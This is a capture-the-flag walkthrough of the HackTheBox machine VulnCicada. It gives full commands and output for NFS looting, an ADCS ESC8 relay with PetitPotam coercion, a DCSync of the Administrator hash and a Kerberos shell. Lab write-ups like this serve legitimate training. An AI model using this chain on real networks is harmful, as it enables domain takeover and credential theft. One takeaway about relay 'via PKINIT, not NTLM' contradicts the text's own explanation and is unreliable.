← Back to writeups

VulnCicada — ADCS ESC8 relay via PetitPotam coercion to Domain Admin

Introduction

VulnCicada is a Medium-rated Windows Active Directory machine on HackTheBox that chains together three distinct concepts: NFS-based OSINT, Kerberos-only environments (NTLM fully disabled), and ADCS ESC8 exploitation via coercion and relay.

What makes this machine particularly interesting for beginners is how it forces you to adapt your standard AD toolkit. Every tool you’d normally reach for — CrackMapExec with password spray, evil-winrm, wmiexec with pass-the-hash — fails silently when NTLM is off. Learning to pivot to Kerberos-native workflows is a real-world skill that’s increasingly relevant as organizations harden their environments.

The credential discovery method is also unconventional: no password spray, no AS-REP roasting. The password is literally in a photo.


Attack Chain Summary

Nmap (NFS on 2049, HTTP on 80, ADCS implied)
  └─► NFS mount /profiles → user home directories
        └─► marketing.png → post-it note: Rosie.Powell:Cicada123
              └─► Kerberos auth (NTLM disabled, -k required everywhere)
                    └─► SMB shares → CertEnroll visible → ADCS present
                          └─► certipy ESC8 → Web Enrollment over HTTP
                                └─► bloodyAD DNS + PetitPotam coercion
                                      └─► certipy relay → dc-jpq225.pfx
                                            └─► certipy auth → DC$ hash
                                                  └─► secretsdump → Administrator hash
                                                        └─► getTGT + wmiexec -k → SYSTEM

Reconnaissance

nmap -sV -sC -oA nmap/vulncicada 10.129.26.72

The -sV flag enables service version detection, and -sC runs default scripts. -oA saves output in all formats (normal, XML, grepable) for later reference.

Key ports from the scan:

PortServiceSignificance
53DNSDomain Controller confirmed
80HTTP (IIS 10.0)Web server — potential ADCS web enrollment
88KerberosAuthentication service for the domain
111 / 2049RPC / NFSNetwork File System exposed — uncommon, investigate
389 / 636LDAP / LDAPSDomain: cicada.vl, DC: DC-JPQ225
445SMBFile shares
3268Global CatalogAD forest-wide LDAP
3389RDPRemote Desktop

The presence of port 2049 (NFS) on a Windows DC is unusual. NFS is typically a Unix/Linux protocol and its exposure here is a strong hint that it contains something worth examining. Port 80 on a DC often means ADCS web enrollment — file that away.

The domain is cicada.vl and the DC hostname is DC-JPQ225. Add both to /etc/hosts:

echo "10.129.26.72 cicada.vl DC-JPQ225.cicada.vl" | sudo tee -a /etc/hosts

Enumeration

SMB — Anonymous access blocked

The first instinct is always to try SMB without credentials:

netexec smb 10.129.26.72 -u '' -p '' --shares
SMB  10.129.26.72  445  DC-JPQ225  [*] x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:None) (NTLM:False)
SMB  10.129.26.72  445  DC-JPQ225  [-] cicada.vl\: STATUS_NOT_SUPPORTED

The critical detail here is (NTLM:False). This means the server has disabled NTLM authentication entirely. This is a hardening measure — the DC only accepts Kerberos. Every tool that relies on NTLM under the hood (default behavior of evil-winrm, rpcclient, most CrackMapExec modules) will fail with STATUS_NOT_SUPPORTED.

We’ll come back to this once we have credentials. For now, move on.

NFS — User profiles exposed

showmount -e 10.129.26.72
Export list for 10.129.26.72:
/profiles (everyone)

The /profiles share is mounted with everyone permissions — no credentials required. Mount it:

sudo mkdir /mnt/nfs
sudo mount -t nfs 10.129.26.72:/profiles /mnt/nfs/
ls /mnt/nfs/
Administrator    Debra.Wright   Jordan.Francis  Katie.Ward      Richard.Gibbons  Shirley.West
Daniel.Marshall  Jane.Carter    Joyce.Andrews   Megan.Simpson   Rosie.Powell

These are Windows user profile directories. Let’s see what’s accessible:

tree /mnt/nfs/
/mnt/nfs/
├── Administrator
│   ├── Documents  [error opening dir]
│   └── vacation.png
├── Rosie.Powell
│   ├── Documents  [error opening dir]
│   └── marketing.png
└── [other users — empty directories]

Two images are readable. Copy them for analysis:

cp /mnt/nfs/Administrator/vacation.png .
cp /mnt/nfs/Rosie.Powell/marketing.png .
file marketing.png vacation.png
marketing.png: PNG image data, 1024 x 1024, 8-bit/color RGB, non-interlaced
vacation.png:  PNG image data, 1024 x 1024, 8-bit/color RGB, non-interlaced

Also extract the list of usernames from the NFS directories for later use:

ls -1 /mnt/nfs/ > users.txt

Initial Access

Image OSINT — Password in plain sight

Opening vacation.png: a person paragliding on holiday. Nothing interesting.

Opening marketing.png: Rosie Powell at her desk — and there’s a post-it note visible next to her monitor with the text Cicada123.

This is intentional OSINT. The credential is: Rosie.Powell:Cicada123.

Validating credentials with Kerberos

Because NTLM is disabled, we need to add the -k flag (Kerberos authentication) to all tools. We also need to sync our clock with the DC — Kerberos requires clocks to be within 5 minutes of each other:

sudo ntpdate -u 10.129.26.72

Now validate the credentials:

crackmapexec smb DC-JPQ225.cicada.vl -k -u Rosie.Powell -p Cicada123
SMB  DC-JPQ225.cicada.vl  445  DC-JPQ225  [+] cicada.vl\Rosie.Powell:Cicada123

The [+] confirms valid credentials. Now enumerate shares:

crackmapexec smb DC-JPQ225.cicada.vl -k -u Rosie.Powell -p Cicada123 --shares
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                              Default share
CertEnroll      READ            Active Directory Certificate Services share
IPC$            READ            Remote IPC
NETLOGON        READ            Logon server share
profiles$       READ,WRITE
SYSVOL          READ            Logon server share

The CertEnroll share is a dead giveaway: Active Directory Certificate Services (ADCS) is installed and running. ADCS manages digital certificates in the domain and is notorious for misconfigurations that lead to privilege escalation.


ADCS Enumeration

ADCS has 8 documented escalation paths (ESC1–ESC8), catalogued in the Certified Pre-Owned research by SpecterOps. We use certipy-ad to enumerate them:

certipy-ad find -u Rosie.Powell@cicada.vl -p Cicada123 -target DC-JPQ225.cicada.vl -k -vulnerable -stdout

Note: If certipy has dependency conflicts with your system Python, isolate it in a virtual environment:

python3 -m venv vuln_venv && source vuln_venv/bin/activate && pip install certipy-ad

Output (relevant portion):

[!] Vulnerabilities
  ESC8 : Web Enrollment is enabled over HTTP.

What is ESC8?

ESC8 is an NTLM relay attack targeting the ADCS HTTP Web Enrollment endpoint (/certsrv/).

The attack works as follows:

  1. You force a machine (ideally the DC itself) to authenticate to your attacker machine using NTLM
  2. You relay that NTLM authentication to the ADCS web enrollment interface
  3. ADCS accepts the relayed authentication and issues a certificate in the name of the coerced machine
  4. You use that certificate to authenticate as the machine account (e.g., DC-JPQ225$) and retrieve its NT hash
  5. With the DC machine account hash, you can perform a DCSync attack and dump all domain credentials

The reason this works: the /certsrv/ endpoint accepts NTLM relay by default when running over plain HTTP (not HTTPS). HTTPS with EPA (Extended Protection for Authentication) would prevent relay.


Exploitation — ESC8 Relay via PetitPotam

The attack requires four coordinated steps. Open multiple terminal windows.

Step 1 — Add a DNS record pointing to your attacker IP

The coercion will need the DC to reach back to us via a hostname. We add a fake DNS record to the domain using bloodyAD, which supports Kerberos authentication:

bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl \
  add dnsRecord ATTACKER-HOST 10.10.15.86

Replace 10.10.15.86 with your HTB VPN IP (tun0 interface: ip a show tun0).

Step 2 — Start the certipy relay listener

In a dedicated terminal, start certipy relay. This sets up an SMB server on port 445 that captures incoming NTLM auth and relays it to ADCS:

certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController

The -template DomainController specifies which certificate template to request on behalf of the coerced machine. Domain Controllers are enrolled in this template by default.

Step 3 — Trigger PetitPotam coercion

PetitPotam is a technique that abuses the EFSRPC (Encrypting File System Remote Protocol) to force a Windows machine to authenticate to an arbitrary host. We use nxc with the coerce_plus module:

nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k \
  -M coerce_plus -o LISTENER=ATTACKER-HOST METHOD=PetitPotam
COERCE_PLUS  DC-JPQ225.cicada.vl  445  DC-JPQ225  VULNERABLE, PetitPotam
COERCE_PLUS  DC-JPQ225.cicada.vl  445  DC-JPQ225  Exploit Success, efsrpc\EfsRpcAddUsersToFile

Step 4 — Collect the certificate

In the certipy relay terminal, you’ll see:

[*] (SMB): Received connection from 10.129.234.48, attacking target http://dc-jpq225.cicada.vl
[*] HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] (SMB): Authenticating connection from /@10.129.234.48 against http://dc-jpq225.cicada.vl SUCCEED [1]
[*] Requesting certificate for '\\' based on the template 'DomainController'
[*] Certificate issued with request ID 91
[*] Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl'
[*] Saving certificate and private key to 'dc-jpq225.pfx'

The DC authenticated to our fake SMB server. We relayed that authentication to ADCS. ADCS issued a certificate for DC-JPQ225$. We now have dc-jpq225.pfx.


Post-Exploitation — From Certificate to Domain Admin

Authenticate as DC$ and get NT hash

certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.234.48
[*] Using principal: 'dc-jpq225$@cicada.vl'
[*] Got TGT
[*] Saved credential cache to 'dc-jpq225.ccache'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:a65952c664e9cf5de60195626edbeee3

certipy auth uses the certificate to perform PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). The DC issues a TGT for DC-JPQ225$ and returns the machine account’s NT hash via the U2U (User-to-User) mechanism.

DCSync — Dump the Administrator hash

Set the credential cache and use impacket-secretsdump with the DC machine account to perform a DCSync attack. DCSync mimics a legitimate domain replication request, asking the DC to “sync” the Administrator password hash:

export KRB5CCNAME=dc-jpq225.ccache
impacket-secretsdump -k -no-pass -just-dc-user administrator \
  cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a

We have the Administrator NT hash: 85a0da53871a9d56b6cd05deda3a5e87.

Getting a shell — Kerberos only, no NTLM

Standard pass-the-hash tools fail because NTLM is disabled:

# FAILS — NTLM disabled
evil-winrm -i 10.129.234.48 -u administrator -H 85a0da53871a9d56b6cd05deda3a5e87
impacket-wmiexec -hashes :85a0da53871a9d56b6cd05deda3a5e87 cicada.vl/administrator@10.129.234.48

The solution: convert the NT hash into a Kerberos TGT using impacket-getTGT, then use Kerberos-native execution:

impacket-getTGT -hashes :85a0da53871a9d56b6cd05deda3a5e87 cicada.vl/administrator
export KRB5CCNAME=administrator.ccache
impacket-wmiexec -k -no-pass cicada.vl/administrator@dc-jpq225.cicada.vl
[*] SMBv3.0 dialect used
C:\>whoami
cicada\administrator

Full domain compromise achieved.


Flags

User flag  : [redacted]
Root flag  : [redacted]

Flags are located on the Administrator Desktop (C:\Users\Administrator\Desktop\root.txt) and a standard user’s Desktop.


Key Takeaways

  • NTLM disabled ≠ more secure by default — Kerberos is not immune to relay/coercion attacks. ESC8 works perfectly in NTLM-disabled environments because the relay happens at the HTTP/Kerberos layer via PKINIT, not NTLM.

  • NFS on Windows is a foothold signal — seeing port 2049 on a Windows DC should immediately trigger investigation. User profile shares exposed over NFS often contain sensitive files.

  • OSINT applies to internal pentests — credentials don’t always come from technical exploitation. A post-it in a photo on a network share is a valid finding in real engagements.

  • ADCS CertEnroll share = ADCS installed — always run certipy-ad find -vulnerable when you see this share. ADCS misconfigurations (ESC1–ESC8) are among the most impactful privilege escalation vectors in modern AD environments.

  • KRB5CCNAME is your best friend in Kerberos environments — understanding how to pass credential caches between Impacket tools (secretsdump, wmiexec, getTGT) via this environment variable is essential for Kerberos-only environments.


Resources